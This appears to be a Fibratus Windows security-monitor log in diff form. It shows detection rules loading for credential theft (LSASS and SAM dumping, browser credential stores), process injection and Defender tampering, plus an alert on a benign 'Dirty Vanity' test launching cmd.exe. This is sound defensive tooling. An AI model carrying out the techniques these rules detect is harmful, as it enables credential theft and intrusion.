+time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T18:03:00+01:00 level=info msg=bootstrapping with pid 23420. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T18:03:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-threadpool=>false enable-handle=>false enable-net=>true enable-fileio=>true enable-vamap=>true enable-image=>true flush-interval=>1s enable-mem=>false enable-registry=>true enable-dns=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true max-buffers=>36 buffer-size=>512 min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ http=>[ timeout=>5s endpoints=>[] method=>POST enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient timeout=>5s durable=>false tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus passive=>false vhost=>/] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck=>true enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s timeout=>5s bulk-workers=>1 gzip-compression=>false trace-log=>false healthcheck-timeout=>5s sniff=>false template-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-10T18:03:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T18:03:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T18:03:30+01:00 level=info msg=sending alert: [Process creation from a stomped module]. Text: Event(s): + Seq: 1123231 + Pid: 22688 + Tid: 16476 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-10 18:03:29.4360266 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 1a5eed000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffaa0546af5080, name➜ cmd.exe, pid➜ 15192, ppid➜ 22688, real_ppid➜ 22688, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-10 18:03:29.4359665 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Process creation from a stomped module, tactic.id: TA0005 + + Pid: 22688 + Ppid: 1040 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-10T18:04:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T18:04:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T18:04:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T18:06:19+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml 